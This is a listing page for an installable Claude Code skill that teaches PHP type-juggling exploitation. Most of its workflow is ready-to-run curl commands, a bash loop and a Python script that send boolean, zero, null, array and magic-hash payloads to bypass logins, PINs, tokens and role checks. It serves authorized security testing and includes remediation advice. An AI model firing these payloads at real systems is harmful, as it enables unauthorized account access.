New to Claude Skills? Learn how to install them →

mukul975 on GitHub

Exploiting Type Juggling Vulnerabilities

Free

Identify and exploit PHP type juggling vulnerabilities.

Get this skill

Free · Opens the source repo

What Exploiting Type Juggling Vulnerabilities does

This skill provides a structured approach to identifying and exploiting PHP type juggling vulnerabilities, particularly those arising from loose comparison operators like ==. It is designed for penetration testers and security researchers who focus on PHP web applications. By leveraging the nuances of PHP's type system, users can bypass authentication mechanisms, manipulate application logic, and exploit hash verification processes that do not enforce strict type checks.

The skill guides users through a series of steps to effectively test PHP applications. It starts with identifying potential candidates for type juggling vulnerabilities, such as login forms and API endpoints that utilize loose comparison. Users are instructed on how to craft specific payloads that exploit these vulnerabilities, including using magic hashes and manipulating type coercion. The skill emphasizes the importance of understanding PHP's behavior with different data types, especially in the context of user input and application logic.

Additionally, this skill includes practical examples and scripts that can be executed in a PHP development environment, allowing users to test their payloads in real-time. It also highlights the necessity of tools like Burp Suite for request manipulation, making it a valuable resource for those engaged in security assessments of PHP applications. By following the outlined workflows, users can systematically uncover vulnerabilities that may otherwise go unnoticed during standard testing procedures.

Overall, this skill is an essential tool for security professionals looking to deepen their understanding of PHP security issues and enhance their penetration testing capabilities. It provides both theoretical knowledge and practical applications, making it suitable for both beginners and experienced testers in the field of web security.

When to use it

Use this skill when conducting penetration tests on PHP applications, particularly those that involve user authentication and data validation.

When not to use it

This skill is not suitable for applications that enforce strict type checking or do not utilize loose comparisons in their logic.

What you can build with it

Testing Login Forms

Use this skill to identify vulnerabilities in login forms that may allow authentication bypass through type juggling.

Assessing API Endpoints

Evaluate API endpoints that accept user input and check for loose comparisons that could lead to security flaws.

Reviewing Password Hashing Logic

Examine password comparison and hash verification mechanisms in PHP applications to ensure they are secure against type juggling attacks.

How to install Exploiting Type Juggling Vulnerabilities

View source

1. Install with the skills CLI

npx skills add mukul975/anthropic-cybersecurity-skills/exploiting-type-juggling-vulnerabilities --agent claude-code

2. Or install it manually

Download the skill folder and drop it into ~/.claude/skills/ for all projects, or .claude/skills/ to scope it to one repo. Restart Claude Code so it picks up the new skill.

Anthropic's agentic coding CLI, and the reference implementation of Agent Skills. Drop a skill folder into ~/.claude/skills and Claude Code loads it automatically whenever a task matches the skill's description. Claude Code docs

Inside SKILL.md

Written by mukul975

Exploiting Type Juggling Vulnerabilities

When to Use

  • When testing PHP web applications for authentication bypass vulnerabilities
  • During assessment of password comparison and hash verification logic
  • When testing applications using loose comparison (== instead of ===)
  • During code review of PHP applications handling JSON or deserialized input
  • When evaluating input validation that relies on type-dependent comparison

Prerequisites

  • Understanding of PHP type system and loose comparison behavior
  • Knowledge of magic hash values (0e prefix) and their scientific notation interpretation
  • Burp Suite for request manipulation and parameter type changing
  • PHP development environment for testing payloads locally
  • Collection of magic hash strings from PayloadsAllTheThings
  • Ability to send JSON or serialized data to control input types

Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

Workflow

Step 1 — Identify Type Juggling Candidates

# Look for PHP applications with:
# - Login/authentication forms
# - Password comparison endpoints
# - API endpoints accepting JSON input
# - Token/hash verification
# - Numeric comparison for access control

# Check if application accepts JSON input (allows type control)
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":"test"}'

# If application normally uses form data, try JSON
# Form: username=admin&password=test
# JSON: {"username":"admin","password":true}

Step 2 — Exploit Loose Comparison Authentication Bypass

# PHP loose comparison: 0 == "password" returns TRUE
# Send integer 0 as password via JSON
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":0}'

# Send boolean true (TRUE == "any_string" in loose comparison)
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":true}'

# Send empty array (array bypasses strcmp)
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":[]}'

# Send null
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":null}'

# PHP strcmp vulnerability: strcmp(array, string) returns NULL
# NULL == 0 is TRUE in loose comparison
curl -X POST http://target.com/login \
  -d "username=admin&password[]=anything"

Step 3 — Exploit Magic Hash Collisions

# PHP treats "0e..." strings as scientific notation (0 * 10^N = 0)
# If hash starts with "0e" followed by only digits, it equals 0 in loose comparison

# Magic MD5 hashes (all evaluate to 0 in loose comparison):
# "240610708" -> md5: 0e462097431906509019562988736854
# "QNKCDZO"  -> md5: 0e830400451993494058024219903391
# "aabg7XSs" -> md5: 0e087386482136013740957780965295
# "aabC9RqS" -> md5: 0e041022518165728065344349536299

# If application compares md5(user_input) == stored_hash:
# And stored_hash starts with "0e" and contains only digits after
curl -X POST http://target.com/login \
  -d "username=admin&password=240610708"

# Magic SHA1 hashes:
# "aaroZmOk" -> sha1: 0e66507019969427134894567494305185566735
# "aaK1STfY" -> sha1: 0e76658526655756207688271159624026011393

# Test with known magic hash values
for payload in "240610708" "QNKCDZO" "aabg7XSs" "aabC9RqS" "0e1137126905" "0e215962017"; do
  echo -n "Testing: $payload -> "
  curl -s -X POST http://target.com/login \
    -d "username=admin&password=$payload" -o /dev/null -w "%{http_code}"
  echo
done

Step 4 — Exploit Comparison in Access Control

# Numeric comparison bypass
# If: if($user_id == $target_id) { // allow access }
# "0" == "0e12345" is TRUE (both evaluate to 0)

# String to integer conversion
# "1abc" == 1 is TRUE in PHP (string truncated to integer)
curl "http://target.com/api/user?id=1abc"

# Boolean comparison for role checking
# if($role == true) grants access to any non-empty string
curl -X POST http://target.com/api/action \
  -H "Content-Type: application/json" \
  -d '{"action":"delete","role":true}'

# Null comparison for optional checks
# if($token == null) might skip validation
curl -X POST http://target.com/api/verify \
  -H "Content-Type: application/json" \
  -d '{"token":0}'

Step 5 — Exploit via Deserialization Input

# PHP json_decode() preserves types
# Attacker controls type via JSON: true, 0, null, []

# Bypass token verification
curl -X POST http://target.com/api/verify-token \
  -H "Content-Type: application/json" \
  -d '{"token":true}'

# Bypass numeric PIN verification
curl -X POST http://target.com/api/verify-pin \
  -H "Content-Type: application/json" \
  -d '{"pin":true}'

# Bypass with zero value
curl -X POST http://target.com/api/check-code \
  -H "Content-Type: application/json" \
  -d '{"code":0}'

# PHP unserialize() type juggling
# Craft serialized object with integer type instead of string
# s:8:"password"; -> i:0; (string "password" to integer 0)

Step 6 — Automated Type Juggling Testing

# Test all common type juggling payloads against each parameter
# Using Burp Intruder with type juggling payload list

# Payload list for JSON-based testing:
# true
# false
# null
# 0
# 1
# ""
# []
# "0"
# "0e99999"
# "240610708"

# Python automation
python3 -c "
import requests
import json

url = 'http://target.com/api/login'
payloads = [True, False, None, 0, 1, '', [], '0', '0e99999', '240610708', 'QNKCDZO']

for p in payloads:
    data = {'username': 'admin', 'password': p}
    r = requests.post(url, json=data)
    print(f'password={json.dumps(p):20s} -> Status: {r.status_code}, Length: {len(r.text)}')
"

Key Concepts

ConceptDescription
Loose Comparison (==)PHP comparison that performs type coercion before comparing values
Strict Comparison (===)PHP comparison requiring both value and type to match
Magic HashString whose hash starts with "0e" followed by digits, evaluating to 0 in loose comparison
Type CoercionAutomatic conversion between types (string to int, null to 0) during comparison
strcmp BypassPassing array to strcmp() returns NULL, which equals 0 in loose comparison
JSON Type ControlUsing JSON input to send specific types (boolean, integer, null) to PHP endpoints
Scientific NotationPHP interprets "0eN" strings as 0 in exponential notation during numeric comparison

Tools & Systems

ToolPurpose
Burp SuiteHTTP proxy for changing parameter types in requests
PHP interactive shellLocal testing of type juggling behavior
PayloadsAllTheThingsCurated magic hash and type juggling payload lists
phpggcPHP generic gadget chains for deserialization exploitation
Custom Python scriptsAutomated type juggling payload testing
PHPStan/PsalmStatic analysis tools detecting loose comparisons in code

Common Scenarios

  1. Authentication Bypass via Boolean — Send "password": true as JSON to bypass loose comparison password verification
  2. Magic Hash Collision — Use known magic hash input ("240610708") whose MD5 starts with "0e" to match against stored hashes
  3. strcmp Array Bypass — Send password[]=anything to make strcmp() return NULL, bypassing password comparison
  4. PIN/OTP Bypass — Send integer 0 as verification code to match against "0e..." hash of the actual code
  5. Role Escalation — Send "role": true to match any non-empty role string in loose comparison access checks

Output Format

## Type Juggling Vulnerability Report
- **Target**: http://target.com
- **Language**: PHP 8.1
- **Framework**: Laravel

### Findings
| # | Endpoint | Parameter | Payload | Type | Impact |
|---|----------|-----------|---------|------|--------|
| 1 | POST /login | password | true (boolean) | Loose comparison | Auth bypass |
| 2 | POST /login | password | 240610708 (magic hash) | MD5 0e collision | Auth bypass |
| 3 | POST /login | password[] | array | strcmp NULL return | Auth bypass |
| 4 | POST /verify | code | 0 (integer) | Numeric comparison | OTP bypass |

### PHP Comparison Table (Relevant)
| Expression | Result | Reason |
|-----------|--------|--------|
| 0 == "password" | TRUE | String cast to 0 |
| true == "password" | TRUE | Non-empty string is truthy |
| "0e123" == "0e456" | TRUE | Both are scientific notation = 0 |
| NULL == 0 | TRUE | NULL cast to 0 |

### Remediation
- Replace all == with === (strict comparison) in security-critical code
- Use password_verify() for password comparison instead of direct comparison
- Use hash_equals() for timing-safe hash comparison
- Validate input types before comparison operations
- Enable PHP strict_types declaration in all files

Frequently asked questions about Exploiting Type Juggling Vulnerabilities

Similar skills